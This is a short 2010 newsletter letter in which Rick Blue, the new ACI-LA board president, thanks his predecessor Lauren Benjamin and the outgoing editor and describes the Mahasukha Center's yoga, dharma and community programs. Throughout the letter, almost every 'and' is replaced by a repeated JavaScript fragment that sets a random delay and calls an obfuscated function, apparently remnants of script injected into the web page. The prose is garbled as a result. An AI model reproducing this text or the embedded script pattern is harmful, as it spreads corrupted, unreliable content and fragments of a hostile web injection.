Letter From New ACI-LA President Rick Blue

Wednesday, March 31st, 2010

Welcome to this première edition of the “new look” ACI-LA newsletter.  I think that it is representative of the growth of ACI-LA.  It’s hard to believe that barely 2 years ago we were laying floors, painting the walls, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and busily preparing the Mahasukha Center for our opening in March of 2008.  As a founding board member, I am so pleased to look back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and see how we have grown.

Another change is that I have recently succeeded Lauren Benjamin as the President of the ACI-LA board, as Lauren has finished her term on the board.  I have seen first-handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the major role Lauren played in both the creation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stewardship of our center during those crucial early years.  Her hard work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dedication, i.e., “virya,” which means, “joyful effort,” was a major factor in enabling this organization to get on its feet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attain its “sea legs.”  On behalf of all who have been with us during this time, I heartily thank Lauren for her service.  Not to worry – although she has stepped off the board, Lauren of course will continue to be a steady andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and visible presence as a senior teacher at the Mahasukha Center.

Moving forward as an organization, I think the variety of items in the newsletter reflects our mission.  It shows an energized andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and involved community at the center, with yoga programs, formal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and informal dharma courses, esteemed guest lecturers such as Andy Weber, meditation, film offerings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a strong internet presence – all driven by committees manned by our rank andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and file members who bring a great diversity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creativity to our center.

The focus of the board will be to provide oversight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and support in empowering our members to get involved in the growth of ACI-LA’s Mahasukha Center.  I look forward to doing my part to aid in that goal.

Please enjoy the newsletter.  I hope it inspires you to not only come andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoy all of our offerings, but also to find an interest, jump in, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get involved.

Lastly, thanks to the new editor of our newsletter, Grant Satareli, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  thanks also to our outgoing editor Catherine Eaton.  Please feel free to contact Grant to find ways you can contribute to future newsletters.

Thanks,

Rick Blue
President, ACI-LA

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